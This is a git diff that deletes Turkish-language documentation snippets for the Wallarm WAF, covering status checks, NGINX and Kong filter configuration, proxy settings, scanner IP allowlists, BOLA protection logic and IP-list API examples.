-``` \ No newline at end of file diff --git a/include-tr/monitoring/wallarm-status-check-padded.md b/include-tr/monitoring/wallarm-status-check-padded.md deleted file mode 100644 index ef7291661f..0000000000 --- a/include-tr/monitoring/wallarm-status-check-padded.md +++ /dev/null @@ -1,5 +0,0 @@ -1. İstatistik hizmetinin varsayılan yapılandırması kullanılıyorsa `curl http://127.0.0.8/wallarm-status` komutunu çalıştırın. -2. Aksi takdirde, yukarıdakine benzer doğru komutu oluşturmak için `/etc/nginx/conf.d/wallarm-status.conf` yapılandırma dosyasına bakın. -``` -{"requests":64,"attacks":16,"blocked":0,"abnormal":64,"tnt_errors":0,"api_errors":0,"requests_lost":0,"segfaults":0,"memfaults":0,"softmemfaults":0,"time_detect":0,"db_id":46,"lom_id":4,"proton_instances": { "total":2,"success":2,"fallback":0,"failed":0 },"stalled_workers_count":0,"stalled_workers":[] } -``` \ No newline at end of file diff --git a/include-tr/monitoring/wallarm-status-check.md b/include-tr/monitoring/wallarm-status-check.md deleted file mode 100644 index 37f7a4fbfa..0000000000 --- a/include-tr/monitoring/wallarm-status-check.md +++ /dev/null @@ -1,6 +0,0 @@ -1. Varsayılan istatistik hizmeti yapılandırması kullanılıyorsa `curl http://127.0.0.8/wallarm-status` komutunu çalıştırın. -2. Aksi takdirde, yukarıdakine benzer doğru komutu oluşturmak için `/etc/nginx/conf.d/wallarm-status.conf` yapılandırma dosyasına bakın. - -``` -{"requests":0,"attacks":0,"blocked":0,"abnormal":0,"tnt_errors":0,"api_errors":0,"requests_lost":0,"segfaults":0,"memfaults":0,"softmemfaults":0,"time_detect":0,"db_id":46,"lom_id":4,"proton_instances": { "total":2,"success":2,"fallback":0,"failed":0 },"stalled_workers_count":0,"stalled_workers":[] } -``` \ No newline at end of file diff --git a/include-tr/monitoring/wallarm-status-output-latest.md b/include-tr/monitoring/wallarm-status-output-latest.md deleted file mode 100644 index 7a391a6818..0000000000 --- a/include-tr/monitoring/wallarm-status-output-latest.md +++ /dev/null @@ -1,3 +0,0 @@ -``` -{"requests":64,"attacks":16,"blocked":0,"abnormal":64,"tnt_errors":0,"api_errors":0,"requests_lost":0,"segfaults":0,"memfaults":0,"softmemfaults":0,"time_detect":0,"db_id":46,"custom_ruleset_id":4,"proton_instances": { "total":2,"success":2,"fallback":0,"failed":0 },"stalled_workers_count":0,"stalled_workers":[] } -``` \ No newline at end of file diff --git a/include-tr/monitoring/wallarm-status-output-padded-latest.md b/include-tr/monitoring/wallarm-status-output-padded-latest.md deleted file mode 100644 index 7a391a6818..0000000000 --- a/include-tr/monitoring/wallarm-status-output-padded-latest.md +++ /dev/null @@ -1,3 +0,0 @@ -``` -{"requests":64,"attacks":16,"blocked":0,"abnormal":64,"tnt_errors":0,"api_errors":0,"requests_lost":0,"segfaults":0,"memfaults":0,"softmemfaults":0,"time_detect":0,"db_id":46,"custom_ruleset_id":4,"proton_instances": { "total":2,"success":2,"fallback":0,"failed":0 },"stalled_workers_count":0,"stalled_workers":[] } -``` \ No newline at end of file diff --git a/include-tr/monitoring/wallarm-status-output-padded.md b/include-tr/monitoring/wallarm-status-output-padded.md deleted file mode 100644 index 27069aa98e..0000000000 --- a/include-tr/monitoring/wallarm-status-output-padded.md +++ /dev/null @@ -1 +0,0 @@ -{"requests":64,"attacks":16,"blocked":0,"abnormal":64,"tnt_errors":0,"api_errors":0,"requests_lost":0,"segfaults":0,"memfaults":0,"softmemfaults":0,"time_detect":0,"db_id":46,"lom_id":4,"proton_instances": { "total":2,"success":2,"fallback":0,"failed":0 },"stalled_workers_count":0,"stalled_workers":[] } \ No newline at end of file diff --git a/include-tr/monitoring/wallarm-status-output.md b/include-tr/monitoring/wallarm-status-output.md deleted file mode 100644 index 27069aa98e..0000000000 --- a/include-tr/monitoring/wallarm-status-output.md +++ /dev/null @@ -1 +0,0 @@ -{"requests":64,"attacks":16,"blocked":0,"abnormal":64,"tnt_errors":0,"api_errors":0,"requests_lost":0,"segfaults":0,"memfaults":0,"softmemfaults":0,"time_detect":0,"db_id":46,"lom_id":4,"proton_instances": { "total":2,"success":2,"fallback":0,"failed":0 },"stalled_workers_count":0,"stalled_workers":[] } \ No newline at end of file diff --git a/include-tr/monitoring/zabbix-agent-restart-2.16.md b/include-tr/monitoring/zabbix-agent-restart-2.16.md deleted file mode 100644 index 6956890705..0000000000 --- a/include-tr/monitoring/zabbix-agent-restart-2.16.md +++ /dev/null @@ -1,8 +0,0 @@ -=== "Ubuntu 14.04" - ```bash - sudo service zabbix-agent restart - ``` -=== "Desteklenen diğer dağıtımlar" - ```bash - sudo systemctl restart zabbix-agent - ``` \ No newline at end of file diff --git a/include-tr/node-cloud-sync-configuration-example-5.x.md b/include-tr/node-cloud-sync-configuration-example-5.x.md deleted file mode 100644 index ca76222ab6..0000000000 --- a/include-tr/node-cloud-sync-configuration-example-5.x.md +++ /dev/null @@ -1,10 +0,0 @@ -Geçerli `node.yaml` içeriği örneği: - -```bash -api: - uuid: ea1xa0xe-xxxx-42a0-xxxx-b1b446xxxxxx - secret: b827axxxxxxxxxxxcbe45c855c71389a2a5564920xxxxxxxxxxxxxxxxxxc4613260 - host: api.wallarm.com - port: 443 - ca_verify: true -``` \ No newline at end of file diff --git a/include-tr/node-cloud-sync-configuration-example.md b/include-tr/node-cloud-sync-configuration-example.md deleted file mode 100644 index c22bf3b4f4..0000000000 --- a/include-tr/node-cloud-sync-configuration-example.md +++ /dev/null @@ -1,15 +0,0 @@ -Geçerli `node.yaml` içeriği örneği: - -```bash -api: - uuid: ea1xa0xe-xxxx-42a0-xxxx-b1b446xxxxxx - secret: b827axxxxxxxxxxxcbe45c855c71389a2a5564920xxxxxxxxxxxxxxxxxxc4613260 - host: api.wallarm.com - port: 443 - ca_verify: true - -syncnode: - owner: root - group: wallarm - mode: 0640 -``` \ No newline at end of file diff --git a/include-tr/prereq-en.md b/include-tr/prereq-en.md deleted file mode 100644 index 441b9b79a3..0000000000 --- a/include-tr/prereq-en.md +++ /dev/null @@ -1,5 +0,0 @@ -Wallarm kurulum önkoşulları: - -* Desteklenen bir işletim sistemi. -* Root erişimi. -* Wallarm portalında [ABD](https://us1.my.wallarm.com) veya [AB](https://my.wallarm.com) bulutunda Wallarm hesabı. \ No newline at end of file diff --git a/include-tr/rechecker-ip-us.md b/include-tr/rechecker-ip-us.md deleted file mode 100644 index 75444e0431..0000000000 --- a/include-tr/rechecker-ip-us.md +++ /dev/null @@ -1,14 +0,0 @@ -* 34.94.100.64 -* 35.235.101.133 -* 34.94.16.235 -* 35.236.51.79 -* 35.236.55.214 -* 35.236.127.211 -* 35.236.126.84 -* 35.236.3.158 -* 34.94.218.5 -* 34.94.203.193 -* 34.94.238.221 -* 35.236.118.146 -* 35.236.1.4 -* 35.236.20.89 \ No newline at end of file diff --git a/include-tr/request-full-context.md b/include-tr/request-full-context.md deleted file mode 100644 index 5d1f022b96..0000000000 --- a/include-tr/request-full-context.md +++ /dev/null @@ -1,12 +0,0 @@ -Wallarm tarafından kötü amaçlı istek tespit edilip bir saldırının parçası olarak [**Attacks**][link-attacks] veya [**Incidents**][link-incidents] bölümünde görüntülendiğinde, bu isteğin tam bağlamını öğrenme olanağına sahipsiniz: hangi kullanıcı oturumuna ait olduğunu ve bu oturumdaki isteklerin tam sıralamasının ne olduğunu. Bu, saldırı vektörlerini ve hangi kaynakların tehlikeye girebileceğini anlamak için tehdit aktörünün tüm etkinliğini araştırmanıza olanak tanır. - -Bu analizi gerçekleştirmek için, Wallarm Console → **Attacks** veya **Incidents** içinde saldırıya erişin ve ardından belirli istek ayrıntılarına gidin. İstek ayrıntılarında, **Explore in API Sessions**'ı tıklayın. Wallarm, filtre uygulanmış [**API Session**][link-sessions] bölümünü açacaktır: ilk isteğin ait olduğu oturum görüntülenir, bu oturumda yalnızca ilk istek gösterilir. - -
              - -
              - -
              -
              - -Oturumdaki diğer tüm istekleri görmek için request ID filtresini kaldırın: artık kötü amaçlı isteğin ait olduğu oturumda neler olup bittiğine dair tam bir resme sahipsiniz. \ No newline at end of file diff --git a/include-tr/rule-creation-initial-step.md b/include-tr/rule-creation-initial-step.md deleted file mode 100644 index 95af9c3a08..0000000000 --- a/include-tr/rule-creation-initial-step.md +++ /dev/null @@ -1,5 +0,0 @@ -1. Wallarm Console'a gidin: - - * **Rules WAF** → **Add rule** veya your branch → **Add rule**. - * **Attacks** / **Incidents** → attack/incident → hit → **Rule**. - * **API Discovery** ([etkin][api-discovery-enable-link] ise) → your endpoint → **Create rule**. \ No newline at end of file diff --git a/include-tr/scanner-allowlist-warning.md b/include-tr/scanner-allowlist-warning.md deleted file mode 100644 index 4c4c28aed2..0000000000 --- a/include-tr/scanner-allowlist-warning.md +++ /dev/null @@ -1,4 +0,0 @@ -!!! warning "Wallarm Scanner IP Adreslerinin Engellenmesini Devre Dışı Bırakma" - Kötü amaçlı istekleri tespit ederken varsayılan olarak engelleme modunu (`default block;`) kullanıyorsanız, Wallarm scanner için engellenmemesi gereken IP adreslerinin listesini açıkça belirtmeniz gerekir. - - Wallarm scanner IP adresleri için engelleme modunun devre dışı bırakılması hakkında daha fazla bilgiyi [burada](scanner-ips-allowlisting.md) bulabilirsiniz. \ No newline at end of file diff --git a/include-tr/scanner-ip-request-us.md b/include-tr/scanner-ip-request-us.md deleted file mode 100644 index e365e30572..0000000000 --- a/include-tr/scanner-ip-request-us.md +++ /dev/null @@ -1,34 +0,0 @@ -* 192.155.80.80 -* 192.155.80.95 -* 23.239.21.160 -* 50.116.14.31 -* 139.162.137.47 -* 192.155.81.166 -* 192.155.81.173 -* 192.155.81.185 -* 192.155.81.193 -* 192.155.81.195 -* 192.155.81.201 -* 192.155.81.204 -* 192.155.81.205 -* 192.155.81.210 -* 192.155.81.220 -* 192.155.81.32 -* 192.155.81.39 -* 192.155.81.62 -* 192.155.81.97 -* 23.239.21.250 -* 45.33.63.36 -* 45.79.100.119 -* 45.79.100.174 -* 45.79.100.81 -* 45.79.73.64 -* 45.79.74.89 -* 50.116.12.25 -* 50.116.2.193 -* 50.116.2.228 -* 74.207.253.161 -* 74.207.253.65 -* 173.230.150.9 -* 173.230.150.13 -* 173.230.150.14 \ No newline at end of file diff --git a/include-tr/scanner-ip-request.md b/include-tr/scanner-ip-request.md deleted file mode 100644 index 5d8c2c68d7..0000000000 --- a/include-tr/scanner-ip-request.md +++ /dev/null @@ -1,16 +0,0 @@ -* 213.52.130.153 -* 213.52.130.179 -* 213.52.130.185 -* 213.52.130.198 -* 176.58.99.214 -* 212.71.244.128 -* 212.71.244.92 -* 178.79.168.193 -* 178.79.168.239 -* 178.79.168.200 -* 178.79.168.201 -* 178.79.168.241 -* 178.79.168.186 -* 85.159.208.25 -* 139.162.220.5 -* 212.71.252.245 \ No newline at end of file diff --git a/include-tr/setup-filter-kong-en-latest.md b/include-tr/setup-filter-kong-en-latest.md deleted file mode 100644 index 2a5691a17d..0000000000 --- a/include-tr/setup-filter-kong-en-latest.md +++ /dev/null @@ -1,43 +0,0 @@ -Filtreleme ve proxy kuralları `/etc/kong/nginx-wallarm.template` dosyasında yapılandırılır. - -NGINX yapılandırma dosyalarıyla çalışma hakkında ayrıntılı bilgi için [resmi NGINX belgelerine](https://nginx.org/en/docs/beginners_guide.html) bakın. - -Wallarm direktifleri, Wallarm filtreleme düğümünün çalışma mantığını tanımlar. Kullanılabilir Wallarm direktiflerinin listesi için [Wallarm yapılandırma seçenekleri](../admin-en/configure-parameters-en.md) sayfasına bakın. - -**Yapılandırma dosyası örneği** - -Sunucuyu aşağıdaki koşullarda çalışacak şekilde yapılandırmanız gerektiğini varsayalım: -* Yalnızca HTTP trafiği işlenir. HTTPS istekleri işlenmez. -* Aşağıdaki alan adları istekleri alır: `example.com` ve `www.example.com`. -* Tüm istekler `10.80.0.5` sunucusuna iletilmelidir. -* Tüm gelen isteklerin boyutunun 1MB'nin altında olduğu varsayılır (varsayılan ayar). -* Bir isteğin işlenmesi 60 saniyeyi geçmez (varsayılan ayar). -* Wallarm izleme modunda çalışmalıdır. -* İstemciler, arada bir HTTP yük dengeleyici olmadan doğrudan filtreleme düğümüne erişir. - -Listelenen koşulları karşılamak için, yapılandırma dosyasının içeriği aşağıdaki gibi olmalıdır: - -``` - - server { - listen 80; - listen [::]:80 ipv6only=on; - - # trafiğin işlendiği alan adları - server_name example.com; - server_name www.example.com; - - # trafik işleme için izleme modunu etkinleştirin - wallarm_mode monitoring; - # wallarm_application 1; - - location / { - # istek iletimi için adresin ayarlanması - proxy_pass http://10.80.0.5; - proxy_set_header Host $host; - proxy_set_header X-Real-IP $remote_addr; - proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; - } - } - -``` \ No newline at end of file diff --git a/include-tr/setup-filter-kong-en.md b/include-tr/setup-filter-kong-en.md deleted file mode 100644 index 4ca69fa67e..0000000000 --- a/include-tr/setup-filter-kong-en.md +++ /dev/null @@ -1,43 +0,0 @@ -Filtreleme ve proxy kuralları `/etc/kong/nginx-wallarm.template` dosyasında yapılandırılır. - -NGINX yapılandırma dosyalarıyla çalışma hakkında ayrıntılı bilgi için [resmi NGINX dokümantasyonuna](https://nginx.org/en/docs/beginners_guide.html) bakın. - -Wallarm direktifleri, Wallarm filtreleme düğümünün çalışma mantığını tanımlar. Mevcut Wallarm direktiflerinin listesini görmek için [Wallarm yapılandırma seçenekleri](../admin-en/configure-parameters-en.md) sayfasına gidin. - -**Yapılandırma dosyası örneği** - -Diyelim ki sunucuyu aşağıdaki koşullar altında çalışacak şekilde yapılandırmanız gerekiyor: -* Sadece HTTP trafiği işlenir. HTTPS istekleri işlenmez. -* Aşağıdaki alan adları istekleri alır: `example.com` ve `www.example.com`. -* Tüm istekler `10.80.0.5` sunucusuna iletilmelidir. -* Tüm gelen isteklerin boyutunun 1 MB'tan küçük olduğu varsayılır (varsayılan ayar). -* Bir isteğin işlenmesi en fazla 60 saniye sürer (varsayılan ayar). -* Wallarm'ın izleme (monitoring) modunda çalışması gerekir. -* İstemciler, arada bir HTTP yük dengeleyici olmadan doğrudan filtreleme düğümüne erişir. - -Listelenen koşulları karşılamak için, yapılandırma dosyasının içeriği aşağıdaki gibi olmalıdır: - -``` - - server { - listen 80; - listen [::]:80 ipv6only=on; - - # trafiğin işlendiği alan adları - server_name example.com; - server_name www.example.com; - - # trafik işleme için izleme modunu etkinleştirin - wallarm_mode monitoring; - # wallarm_instance 1; - - location / { - # istek yönlendirme adresinin ayarlanması - proxy_pass http://10.80.0.5; - proxy_set_header Host $host; - proxy_set_header X-Real-IP $remote_addr; - proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; - } - } - -``` \ No newline at end of file diff --git a/include-tr/setup-filter-nginx-en-latest.md b/include-tr/setup-filter-nginx-en-latest.md deleted file mode 100644 index 31f8e4bc94..0000000000 --- a/include-tr/setup-filter-nginx-en-latest.md +++ /dev/null @@ -1,55 +0,0 @@ -Aşağıdaki dosyalar NGINX ve filtreleme düğümü ayarlarını içerir: - -* `/etc/nginx/nginx.conf` NGINX yapılandırmasını tanımlar -* `/etc/nginx/conf.d/wallarm.conf` Wallarm filtreleme düğümünün genel yapılandırmasını tanımlar -* `/etc/nginx/conf.d/wallarm-status.conf` filtreleme düğümü izleme hizmeti yapılandırmasını tanımlar - -NGINX ve Wallarm'ın çalışma şeklini tanımlamak için kendi yapılandırma dosyalarınızı oluşturabilirsiniz. Aynı şekilde işlenmesi gereken her bir etki alanı grubu için `server` bloğuna sahip ayrı bir yapılandırma dosyası oluşturmanız önerilir. - -NGINX yapılandırma dosyalarıyla çalışma hakkında ayrıntılı bilgi için [resmi NGINX belgelerine](https://nginx.org/en/docs/beginners_guide.html) bakın. - -Wallarm yönergeleri, Wallarm filtreleme düğümünün çalışma mantığını tanımlar. Kullanılabilir Wallarm yönergelerinin listesi için [Wallarm yapılandırma seçenekleri](configure-parameters-en.md) sayfasına bakın. - -**Yapılandırma dosyası örneği** - -Varsayalım ki sunucuyu aşağıdaki koşullarda çalışacak şekilde yapılandırmanız gerekiyor: -* Yalnızca HTTP trafiği işlenir. HTTPS istekleri işlenmez. -* İstekleri aşağıdaki etki alanları alır: `example.com` ve `www.example.com`. -* Tüm istekler `10.80.0.5` sunucusuna iletilmelidir. -* Tüm gelen isteklerin boyutu 1 MB'tan küçük kabul edilir (varsayılan ayar). -* Bir isteğin işlenmesi 60 saniyeden fazla sürmez (varsayılan ayar). -* Wallarm izleme modunda çalışmalıdır. -* İstemciler, arada bir HTTP yük dengeleyicisi olmadan doğrudan filtreleme düğümüne erişir. - -!!! info "Bir yapılandırma dosyası oluşturma" - Özel bir NGINX yapılandırma dosyası (ör. `example.com.conf`) oluşturabilir veya varsayılan NGINX yapılandırma dosyasını (`default.conf`) değiştirebilirsiniz. - - Özel bir yapılandırma dosyası oluştururken, NGINX'in gelen bağlantıları kullanılmayan bir bağlantı noktasında dinlediğinden emin olun. - - -Listelenen koşulları karşılamak için yapılandırma dosyasının içeriği aşağıdaki gibi olmalıdır: - -``` - - server { - listen 80; - listen [::]:80 ipv6only=on; - - # trafiğin işlendiği etki alanları - server_name example.com; - server_name www.example.com; - - # trafik işleme için izleme modunu aç - wallarm_mode monitoring; - # wallarm_application 1; - - location / { - # istek yönlendirme adresinin ayarlanması - proxy_pass http://10.80.0.5; - proxy_set_header Host $host; - proxy_set_header X-Real-IP $remote_addr; - proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; - } - } - -``` \ No newline at end of file diff --git a/include-tr/setup-filter-nginx-en.md b/include-tr/setup-filter-nginx-en.md deleted file mode 100644 index c58b784537..0000000000 --- a/include-tr/setup-filter-nginx-en.md +++ /dev/null @@ -1,55 +0,0 @@ -Aşağıdaki dosyalar NGINX ve filtreleme düğümü ayarlarını içerir: - -* `/etc/nginx/nginx.conf` NGINX yapılandırmasını tanımlar -* `/etc/nginx/conf.d/wallarm.conf` Wallarm filtreleme düğümünün genel yapılandırmasını tanımlar -* `/etc/nginx/conf.d/wallarm-status.conf` filtreleme düğümü izleme hizmeti yapılandırmasını tanımlar - -NGINX ve Wallarm’ın çalışmasını tanımlamak için kendi yapılandırma dosyalarınızı oluşturabilirsiniz. Aynı şekilde işlenmesi gereken her bir etki alanı grubu için `server` bloğu içeren ayrı bir yapılandırma dosyası oluşturmanız önerilir. - -NGINX yapılandırma dosyalarıyla çalışma hakkında ayrıntılı bilgi için [resmi NGINX dokümantasyonuna](https://nginx.org/en/docs/beginners_guide.html) bakın. - -Wallarm yönergeleri, Wallarm filtreleme düğümünün çalışma mantığını tanımlar. Kullanılabilir Wallarm yönergelerinin listesini görmek için [Wallarm yapılandırma seçenekleri](configure-parameters-en.md) sayfasına bakın. - -**Yapılandırma dosyası örneği** - -Sunucuyu aşağıdaki koşullarda çalışacak şekilde yapılandırmanız gerektiğini varsayalım: -* Yalnızca HTTP trafiği işlenir. HTTPS istekleri işlenmez. -* İstekleri aşağıdaki alan adları alır: `example.com` ve `www.example.com`. -* Tüm istekler `10.80.0.5` sunucusuna iletilmelidir. -* Tüm gelen isteklerin boyutunun 1 MB’den küçük olduğu varsayılır (varsayılan ayar). -* Bir isteğin işlenmesi 60 saniyeden fazla sürmez (varsayılan ayar). -* Wallarm izleme modunda çalışmalıdır. -* İstemciler, arada bir HTTP yük dengeleyici olmadan, filtreleme düğümüne doğrudan erişir. - -!!! info "Bir yapılandırma dosyası oluşturma" - Özel bir NGINX yapılandırma dosyası (ör. `example.com.conf`) oluşturabilir veya varsayılan NGINX yapılandırma dosyasını (`default.conf`) değiştirebilirsiniz. - - Özel bir yapılandırma dosyası oluştururken, NGINX’in gelen bağlantıları boş bir porttan dinlediğinden emin olun. - - -Listelenen koşulları karşılamak için yapılandırma dosyasının içeriği aşağıdaki gibi olmalıdır: - -``` - - server { - listen 80; - listen [::]:80 ipv6only=on; - - # trafiğin işlendiği alan adları - server_name example.com; - server_name www.example.com; - - # trafik işlemenin izleme modunu etkinleştirin - wallarm_mode monitoring; - # wallarm_instance 1; - - location / { - # istek yönlendirme adresini ayarlama - proxy_pass http://10.80.0.5; - proxy_set_header Host $host; - proxy_set_header X-Real-IP $remote_addr; - proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; - } - } - -``` \ No newline at end of file diff --git a/include-tr/setup-proxy.md b/include-tr/setup-proxy.md deleted file mode 100644 index 73968388c5..0000000000 --- a/include-tr/setup-proxy.md +++ /dev/null @@ -1,34 +0,0 @@ -!!! info - Bu kurulum adımı, korunan web uygulamaları ve API'lerin çalışması için kendi proxy sunucusunu kullanan kullanıcılar içindir. - - Bir proxy sunucusu kullanmıyorsanız, kurulumun bu adımını atlayın. - -Wallarm node'u kendi proxy sunucunuzu kullanacak şekilde yapılandırmak için, kullanılan proxy sunucusunu tanımlayan ortam değişkenlerine yeni değerler atamanız gerekir. - -Ortam değişkenlerinin yeni değerlerini `/etc/environment` dosyasına ekleyin: -* https protokolü için proxy tanımlamak üzere `https_proxy` ekleyin. -* http protokolü için proxy tanımlamak üzere `http_proxy` ekleyin. -* Proxy’nin kullanılmaması gereken kaynakların listesini tanımlamak için `no_proxy` ekleyin. - -`https_proxy` ve `http_proxy` değişkenlerine `://:@:` biçimindeki dize değerini atayın. -* `` kullanılan protokolü tanımlar. Geçerli ortam değişkeninin proxy’yi ayarladığı protokolle eşleşmelidir. -* `` proxy yetkilendirmesi için kullanıcı adını tanımlar. -* `` proxy yetkilendirmesi için parolayı tanımlar. -* `` proxy sunucusunun ana bilgisayarını tanımlar. -* `` proxy sunucusunun portunu tanımlar. - -Proxy’nin kullanılmaması gereken kaynakların listesini tanımlamak için, `no_proxy` değişkenine `", , , , ..."` biçiminde bir dizi değeri atayın; burada ``, ``, `` ve `` IP adresleri ve/veya alan adlarıdır. Bu dizi IP adreslerinden ve/veya alan adlarından oluşmalıdır. - -!!! warning "Proxy olmadan erişilmesi gereken kaynaklar" - Sistemin doğru şekilde çalışması için, proxy olmadan erişilmesi gereken kaynaklar listesine şu IP adreslerini ve alan adını ekleyin: `127.0.0.1`, `127.0.0.8`, `127.0.0.9` ve `localhost`. - `127.0.0.8` ve `127.0.0.9` IP adresleri Wallarm filtering node’un çalışması için kullanılır. - -Aşağıdaki doğru `/etc/environment` dosya içeriği örneği şu yapılandırmayı göstermektedir: -* HTTPS ve HTTP istekleri, proxy sunucusunda yetkilendirme için `admin` kullanıcı adı ve `01234` parolası kullanılarak, `1.2.3.4` ana bilgisayarındaki `1234` porta proxy üzerinden yönlendirilir. -* `127.0.0.1`, `127.0.0.8`, `127.0.0.9` ve `localhost` hedeflerine gönderilen istekler için proxy kullanımı devre dışıdır. - -``` -https_proxy=http://admin:01234@1.2.3.4:1234 -http_proxy=http://admin:01234@1.2.3.4:1234 -no_proxy="127.0.0.1, 127.0.0.8, 127.0.0.9, localhost" -``` \ No newline at end of file diff --git a/include-tr/trigger-processing-priorities.md b/include-tr/trigger-processing-priorities.md deleted file mode 100644 index 098da3751f..0000000000 --- a/include-tr/trigger-processing-priorities.md +++ /dev/null @@ -1,10 +0,0 @@ -Koşulları aynı olan birden fazla tetikleyici (örneğin, **Brute force**, **Forced browsing**, **BOLA**) bulunduğunda ve bunların bazılarında URI’ye göre yuvalanma düzeyi filtresi varsa, daha düşük yuvalanma düzeyindeki URI’lere yönelik istekler yalnızca daha düşük yuvalanma düzeyindeki URI’ye göre filtreye sahip tetikleyici tarafından sayılır. - -URI filtresi olmayan tetikleyiciler daha üst yuvalanma düzeyi olarak kabul edilir. - -**Örnek:** - -* Belirli bir koşula sahip ilk tetikleyicide URI’ye göre filtre yoktur (herhangi bir uygulamaya veya onun bir bölümüne yönelik istekler bu tetikleyici tarafından sayılır). -* Aynı koşula sahip ikinci tetikleyicide `example.com/api` URI’sine göre filtre vardır. - -`example.com/api` adresine yönelik istekler, yalnızca `example.com/api` filtresine sahip ikinci tetikleyici tarafından sayılır. \ No newline at end of file diff --git a/include-tr/waf/acl-block-page-annotation-support.md b/include-tr/waf/acl-block-page-annotation-support.md deleted file mode 100644 index 10478b9cb0..0000000000 --- a/include-tr/waf/acl-block-page-annotation-support.md +++ /dev/null @@ -1,2 +0,0 @@ -!!! warning "nginx.ingress.kubernetes.io/wallarm-acl-block-page anotasyonunun desteklenmesi" - Wallarm Ingress controller anotasyonu `nginx.ingress.kubernetes.io/wallarm-acl-block-page` yalnızca [Wallarm node sürüm 2.18](/admin-en/configuration-guides/configure-block-page-and-code/) kapsamında desteklenir. \ No newline at end of file diff --git a/include-tr/waf/configure-separate-postanalytics-address-nginx.md b/include-tr/waf/configure-separate-postanalytics-address-nginx.md deleted file mode 100644 index 02546799cc..0000000000 --- a/include-tr/waf/configure-separate-postanalytics-address-nginx.md +++ /dev/null @@ -1,18 +0,0 @@ -`/etc/nginx/conf.d/wallarm.conf` dosyasına postanalytics sunucu adreslerini ekleyin: - -```bash -upstream wallarm_tarantool { - server :3313 max_fails=0 fail_timeout=0 max_conns=1; - server :3313 max_fails=0 fail_timeout=0 max_conns=1; - - keepalive 2; - } - - # atlandı - -wallarm_tarantool_upstream wallarm_tarantool; -``` - -- `max_conns` değeri, aşırı bağlantı oluşturulmasını önlemek için her bir upstream Tarantool sunucusu için belirtilmelidir. -- `keepalive` değeri, Tarantool sunucularının sayısından düşük olmamalıdır. -- Varsayılan olarak `# wallarm_tarantool_upstream wallarm_tarantool;` satırı yorumlanmış durumdadır — lütfen `#` karakterini silin. \ No newline at end of file diff --git a/include-tr/waf/features/bola-mitigation/bola-auto-mitigation-logic.md b/include-tr/waf/features/bola-mitigation/bola-auto-mitigation-logic.md deleted file mode 100644 index c8bec5fc06..0000000000 --- a/include-tr/waf/features/bola-mitigation/bola-auto-mitigation-logic.md +++ /dev/null @@ -1,15 +0,0 @@ -BOLA koruması etkinleştirildiğinde, Wallarm: - -1. BOLA saldırılarının hedefi olma olasılığı en yüksek olan API uç noktalarını belirler; ör., [yol parametrelerindeki değişkenlik][variability-in-endpoints-docs] içerenler: `domain.com/path1/path2/path3/{variative_path4}`. - - !!! info "Bu aşama belirli bir süre alır" - Zafiyete açık API uç noktalarının belirlenmesi, keşfedilen API envanterinin ve gelen trafik eğilimlerinin derinlemesine gözlemlenmesi için gereken belirli bir süre alır. - - Yalnızca **API Discovery** modülü tarafından keşfedilen API uç noktaları BOLA saldırılarına karşı otomatik olarak korunur. Korumalı uç noktalar [ilgili simge ile vurgulanır][bola-protection-for-endpoints-docs]. -1. Savunmasız API uç noktalarını BOLA saldırılarına karşı korur. Varsayılan koruma mantığı şu şekildedir: - - * Aynı IP’den dakika başına 180 istek eşiğini aşan, savunmasız bir uç noktaya yönelik istekler BOLA saldırısı olarak kabul edilir. - * Aynı IP’den gelen isteklerin eşiğine ulaşıldığında yalnızca BOLA saldırılarını event list içinde kaydedin. Wallarm BOLA saldırılarını engellemez. İstekler uygulamalarınıza gitmeye devam eder. - - autoprotection template içindeki karşılık gelen reaksiyon **Only register attacks**’tir. -1. Yeni savunmasız uç noktaları koruyarak ve kaldırılan uç noktalar için korumayı devre dışı bırakarak [API’deki değişikliklere][changes-in-api-docs] tepki verir. \ No newline at end of file diff --git a/include-tr/waf/features/ip-lists/autopopulation-by-antibot.md b/include-tr/waf/features/ip-lists/autopopulation-by-antibot.md deleted file mode 100644 index a5f6a1e7fa..0000000000 --- a/include-tr/waf/features/ip-lists/autopopulation-by-antibot.md +++ /dev/null @@ -1,5 +0,0 @@ -Wallarm'ın [API Abuse Prevention](../../api-abuse-prevention/overview.md) modülü ayrıca kötü amaçlı botların IP'lerini otomatik olarak ya graylist'e ya da denylist'e ekler. - -Botların IP'leri, `Bot` Reason değeri ve doğasına ilişkin ayrıntılar (örn. [güven oranı](../../api-abuse-prevention/overview.md#how-api-abuse-prevention-works)) ile ayırt edilir, örneğin: - -![Denylist'e alınmış bot IP'leri](../../images/about-wallarm-waf/abi-abuse-prevention/denylisted-bot-ips.png) \ No newline at end of file diff --git a/include-tr/waf/features/ip-lists/common-actions-with-lists-allow-apps.md b/include-tr/waf/features/ip-lists/common-actions-with-lists-allow-apps.md deleted file mode 100644 index 34d9d3077e..0000000000 --- a/include-tr/waf/features/ip-lists/common-actions-with-lists-allow-apps.md +++ /dev/null @@ -1,44 +0,0 @@ -[access-wallarm-api-docs]: ../../api/overview.md#your-own-client -[application-docs]: ../settings/applications.md - -## IP listesi nesnelerini alma, doldurma ve silme için API çağrıları - -IP listesi nesnelerini almak, doldurmak ve silmek için Wallarm Console UI kullanmanın yanı sıra, [Wallarm API'yi doğrudan çağırabilirsiniz](../../api/overview.md). Aşağıda ilgili API çağrılarına bazı örnekler yer almaktadır. - -### API istek parametreleri - -IP listelerini okumak ve değiştirmek için API isteklerinde iletilecek parametreler: - ---8<-- "../include/api-request-examples/ip-list-request-params.md" - -### Listeye `.csv` dosyasındaki girdileri ekleme - -`.csv` dosyasındaki IP'leri veya alt ağları listeye eklemek için aşağıdaki bash betiğini kullanın: - ---8<-- "../include/api-request-examples/add-ips-to-lists-from-file.md" - -### Listeye tek bir IP veya alt ağ ekleme - ---8<-- "../include/api-request-examples/add-some-ips-to-lists.md" - -### Listeye birden fazla ülke ekleme - ---8<-- "../include/api-request-examples/add-some-countries-to-lists.md" - -### Listeye birden fazla proxy hizmeti ekleme - ---8<-- "../include/api-request-examples/add-some-proxies-to-lists.md" - -### IP listesinden bir nesne silme - -Nesneler IP listelerinden kimlikleri (ID’leri) ile silinir. - -Bir nesnenin ID’sini almak için IP listesi içeriğini isteyin ve yanıttan gerekli nesnenin `objects.id` değerini kopyalayın: - ---8<-- "../include/api-request-examples/get-ip-list-contents.md" - -Nesnenin ID’si elinizdeyken, onu listeden silmek için aşağıdaki isteği gönderin: - ---8<-- 